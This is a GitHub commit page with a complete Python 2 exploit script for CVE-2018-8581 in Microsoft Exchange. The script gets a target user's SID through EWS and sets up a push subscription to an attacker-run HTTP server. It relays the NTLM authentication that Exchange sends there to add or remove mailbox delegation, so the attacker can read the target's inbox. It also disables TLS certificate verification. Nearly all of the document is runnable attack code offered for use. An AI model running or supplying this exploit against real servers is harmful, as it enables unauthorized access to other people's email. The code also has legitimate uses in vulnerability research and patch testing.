-
Notifications
You must be signed in to change notification settings - Fork 107
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
WyAtu
committed
Dec 30, 2018
0 parents
commit 72ef44f
Showing
3 changed files
with
864 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,381 @@ | ||
#!/usr/bin/python | ||
# -*- coding:utf-8 -*- | ||
# | ||
# CVE-2018-8581 | ||
# https://github.com/WyAtu/CVE-2018-8581 | ||
# | ||
|
||
import re | ||
import ssl | ||
import httplib | ||
from ntlm import ntlm | ||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer | ||
|
||
# Exchange server config | ||
IP = 'mail.target_domain.com' | ||
PORT = 443 | ||
PROTO = 'https' | ||
# PORT = 80 | ||
# PROTO = 'http' | ||
|
||
# CONTROLLED_EMAIL and TARGET_EMAIL config | ||
USER = 'the_email_u_have' | ||
DOMAIN = 'the_domain_name' | ||
PASS = 'password_of_the_email_u_have' | ||
|
||
TARGET_EMAIL = "the_target_email_u_want@target_domain.com" | ||
CONTROLLED_EMAIL = "the_email_u_have@target_domain" | ||
|
||
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate | ||
FLAG = 1 | ||
|
||
# Exchange server version | ||
# EXCHANGE_VERSION = "Exchange2010_SP1" | ||
EXCHANGE_VERSION = "Exchange2010_SP2" | ||
# EXCHANGE_VERSION = "Exchange2010_SP3" | ||
# EXCHANGE_VERSION = "Exchange2013" | ||
# EXCHANGE_VERSION = "Exchange2016" | ||
|
||
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL | ||
HTTPPORT = 8080 | ||
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/" | ||
|
||
try: | ||
_create_unverified_https_context = ssl._create_unverified_context | ||
except AttributeError: | ||
pass | ||
else: | ||
ssl._create_default_https_context = _create_unverified_https_context | ||
|
||
URL = "/EWS/Exchange.asmx" | ||
|
||
def request_func(ip, port, proto, body): | ||
if proto == 'https': | ||
conn = httplib.HTTPSConnection(ip, port) | ||
else: | ||
conn = httplib.HTTPConnection(ip, port) | ||
|
||
ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) | ||
headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"} | ||
|
||
conn.request("POST", URL, body, headers) | ||
response = conn.getresponse() | ||
resp_data = response.read() | ||
|
||
if response.status == 401: | ||
print "\t[*] Got 401 response with NTLM NONCE." | ||
print "\t[*] Trying authenticate current user..." | ||
Nonce = response.getheader("WWW-Authenticate") | ||
(ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):]) | ||
ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) | ||
headers["Authorization"] = "NTLM " + ntlmresponce | ||
conn.request("POST", URL, body, headers) | ||
response = conn.getresponse() | ||
resp_data = response.read() | ||
if response.status != 401: | ||
print "\t[+] Authentication and request sent successfully" | ||
conn.close() | ||
return resp_data | ||
conn.close() | ||
exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS)) | ||
|
||
def make_simple_add_body(exchange_version, target_email, controlled_email): | ||
body = '''<?xml version="1.0" encoding="UTF-8"?> | ||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"> | ||
<soap:Header> | ||
<t:RequestServerVersion Version="%s" /> | ||
</soap:Header> | ||
<soap:Body> | ||
<m:AddDelegate> | ||
<m:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</m:Mailbox> | ||
<m:DelegateUsers> | ||
<t:DelegateUser> | ||
<t:UserId> | ||
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress> | ||
</t:UserId> | ||
<t:DelegatePermissions> | ||
<t:InboxFolderPermissionLevel>None</t:InboxFolderPermissionLevel> | ||
</t:DelegatePermissions> | ||
<t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages> | ||
<t:ViewPrivateItems>false</t:ViewPrivateItems> | ||
</t:DelegateUser> | ||
</m:DelegateUsers> | ||
<m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests> | ||
</m:AddDelegate> | ||
</soap:Body> | ||
</soap:Envelope> | ||
'''%(exchange_version, target_email, controlled_email) | ||
return body | ||
|
||
def make_simple_remove_body(exchange_version, target_email, controlled_email): | ||
body = '''<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Header> | ||
<t:RequestServerVersion Version="%s" /> | ||
</soap:Header> | ||
<soap:Body> | ||
<m:RemoveDelegate> | ||
<m:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</m:Mailbox> | ||
<m:UserIds> | ||
<t:UserId> | ||
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress> | ||
</t:UserId> | ||
</m:UserIds> | ||
</m:RemoveDelegate> | ||
</soap:Body> | ||
</soap:Envelope> | ||
'''%(exchange_version, target_email, controlled_email) | ||
return body | ||
|
||
def make_pushsubscription_body(exchange_version): | ||
body = '''<?xml version="1.0" encoding="UTF-8"?> | ||
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"> | ||
<soap:Header> | ||
<t:RequestServerVersion Version="%s" /> | ||
</soap:Header> | ||
<soap:Body > | ||
<m:Subscribe> | ||
<m:PushSubscriptionRequest SubscribeToAllFolders="true"> | ||
<t:EventTypes> | ||
<t:EventType>NewMailEvent</t:EventType> | ||
<t:EventType>ModifiedEvent</t:EventType> | ||
<t:EventType>MovedEvent</t:EventType> | ||
</t:EventTypes> | ||
<t:StatusFrequency>1</t:StatusFrequency> | ||
<t:URL>%s</t:URL> | ||
</m:PushSubscriptionRequest> | ||
</m:Subscribe> | ||
</soap:Body> | ||
</soap:Envelope> | ||
'''%(exchange_version, EVIL_HTTPSERVER_URL) | ||
return body | ||
|
||
def make_relay_body(exchange_version, target_email, controlled_email, sid): | ||
if FLAG == 1: body = '''<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Header> | ||
<t:RequestServerVersion Version="%s" /> | ||
<m:SerializedSecurityContext> | ||
<m:UserSid>%s</m:UserSid> | ||
<m:GroupSids> | ||
<m:GroupIdentifier> | ||
<t:SecurityIdentifier>%s</t:SecurityIdentifier> | ||
</m:GroupIdentifier> | ||
</m:GroupSids> | ||
<RestrictedGroupSids> | ||
<RestrictedGroupIdentifier></RestrictedGroupIdentifier> | ||
</RestrictedGroupSids> | ||
</m:SerializedSecurityContext> | ||
</soap:Header> | ||
<soap:Body> | ||
<m:AddDelegate> | ||
<m:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</m:Mailbox> | ||
<m:DelegateUsers> | ||
<t:DelegateUser> | ||
<t:UserId> | ||
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress> | ||
</t:UserId> | ||
<t:DelegatePermissions> | ||
<t:InboxFolderPermissionLevel>Editor</t:InboxFolderPermissionLevel> | ||
</t:DelegatePermissions> | ||
<t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages> | ||
<t:ViewPrivateItems>false</t:ViewPrivateItems> | ||
</t:DelegateUser> | ||
</m:DelegateUsers> | ||
<m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests> | ||
</m:AddDelegate> | ||
</soap:Body> | ||
</soap:Envelope> | ||
'''%(exchange_version, sid, sid, target_email, controlled_email) | ||
else : body = '''<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Header> | ||
<t:RequestServerVersion Version="%s" /> | ||
<m:SerializedSecurityContext> | ||
<m:UserSid>%s</m:UserSid> | ||
<m:GroupSids> | ||
<m:GroupIdentifier> | ||
<t:SecurityIdentifier>%s</t:SecurityIdentifier> | ||
</m:GroupIdentifier> | ||
</m:GroupSids> | ||
<RestrictedGroupSids> | ||
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier> | ||
</RestrictedGroupSids> | ||
</m:SerializedSecurityContext> | ||
</soap:Header> | ||
<soap:Body> | ||
<m:RemoveDelegate> | ||
<m:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</m:Mailbox> | ||
<m:UserIds> | ||
<t:UserId> | ||
<t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress> | ||
</t:UserId> | ||
</m:UserIds> | ||
</m:RemoveDelegate> | ||
</soap:Body> | ||
</soap:Envelope> | ||
'''%(exchange_version, sid, sid, target_email, controlled_email) | ||
return body | ||
|
||
def get_sid(text): | ||
sid = email = "" | ||
sid_re = re.search('<t:SID>(.*?)</t:SID>', text, flags=re.I|re.M) | ||
if sid_re: sid = sid_re.group(1) | ||
email_re = re.search('<t:PrimarySmtpAddress>(.*?)</t:PrimarySmtpAddress>', text, flags=re.I|re.M) | ||
if email_re: email = email_re.group(1) | ||
return sid, email | ||
|
||
|
||
def get_ntlm_challenge(ntlm_negotiate, body): | ||
headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} | ||
conn.request("POST", URL, body, headers) | ||
response = conn.getresponse() | ||
resp_data = response.read() | ||
|
||
if response.status == 401: | ||
Nonce = response.getheader("WWW-Authenticate") | ||
return Nonce | ||
|
||
def use_ntlm_auth(ntlm_auth, body): | ||
resp_data = "" | ||
headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} | ||
conn.request("POST", URL, body, headers) | ||
response = conn.getresponse() | ||
resp_data = response.read() | ||
return resp_data | ||
|
||
class postHandler(BaseHTTPRequestHandler): | ||
def do_POST(self): | ||
global step | ||
result = "" | ||
headers = self.headers | ||
authHeader = headers.getheader('Authorization') | ||
if not authHeader: | ||
self.send_response(401) | ||
self.send_header('WWW-Authenticate:', 'NTLM') | ||
self.end_headers() | ||
step = 1 | ||
else: | ||
if step == 1: | ||
ntlm_negotiate = authHeader | ||
step = 2 | ||
ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body) | ||
self.send_response(401) | ||
self.send_header('WWW-Authenticate:', ntlm_challenge) | ||
self.end_headers() | ||
else: | ||
self.send_response(401) | ||
self.end_headers() | ||
ntlm_auth = authHeader | ||
result = use_ntlm_auth(ntlm_auth, relay_body) | ||
step = 3 | ||
|
||
if FLAG == 1 and step == 3: | ||
if "ErrorDelegateAlreadyExists" in result: | ||
print '[+] Delegate Already Exists' | ||
return | ||
sid, email = get_sid(result) | ||
if sid == "": | ||
print '[-] Something error, can\'t add delegate' | ||
return | ||
print '[+] Delegate added' | ||
print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL) | ||
elif FLAG == 0 and step == 3: | ||
if 'ErrorNotDelegate' in result: | ||
print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL) | ||
return | ||
if 'ErrorNonExistentMailbox' in result: | ||
print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL) | ||
return | ||
if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result: | ||
print "[-] Access denied" | ||
return | ||
if "NoError" in result: | ||
print "[+] Delegate removed" | ||
return | ||
print "[-] Something error, can't remove delegate" | ||
else: | ||
pass | ||
return | ||
|
||
if __name__ == "__main__": | ||
print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT) | ||
|
||
print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL) | ||
add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) | ||
result = request_func(IP, PORT, PROTO, add_body) | ||
|
||
remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) | ||
|
||
if 'ErrorDelegateAlreadyExists' in result: | ||
print '[-] Delegate Already Exists' | ||
print '[*] Now try to remove the delegate' | ||
result = request_func(IP, PORT, PROTO, remove_body) | ||
print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL) | ||
add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) | ||
result = request_func(IP, PORT, PROTO, add_body) | ||
|
||
sid, email = get_sid(result) | ||
if sid == "": | ||
exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL)) | ||
print "[+] Got the sid of '%s': %s"%(email, sid) | ||
|
||
print "[*] Sending 'RemoveDelegate' EWS request..." | ||
result = request_func(IP, PORT, PROTO, remove_body) | ||
if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result: | ||
exit("[-] Delegate not removed") | ||
print "[+] Delegate removed" | ||
push_body = make_pushsubscription_body(EXCHANGE_VERSION) | ||
print "[*] Sending 'PushSubscription' EWS request..." | ||
result = request_func(IP, PORT, PROTO, push_body) | ||
if 'NoError' not in result: | ||
exit("[-] Sending 'PushSubscription' EWS request failed") | ||
print "[+] Sending 'PushSubscription' EWS request successfully" | ||
print "[*] Now start to relay NTLM..." | ||
|
||
if PROTO=='https': | ||
conn = httplib.HTTPSConnection(IP, PORT) | ||
else: | ||
conn = httplib.HTTPConnection(IP, PORT) | ||
|
||
relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid) | ||
|
||
step=1 | ||
try: | ||
server = HTTPServer(('', HTTPPORT), postHandler) | ||
print '[*] Started httpserver on port', HTTPPORT | ||
print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove') | ||
|
||
while not(step == 3): | ||
server.handle_request() | ||
|
||
except KeyboardInterrupt: | ||
print '[-] ^C received, shutting down the web server' | ||
server.socket.close() |
Oops, something went wrong.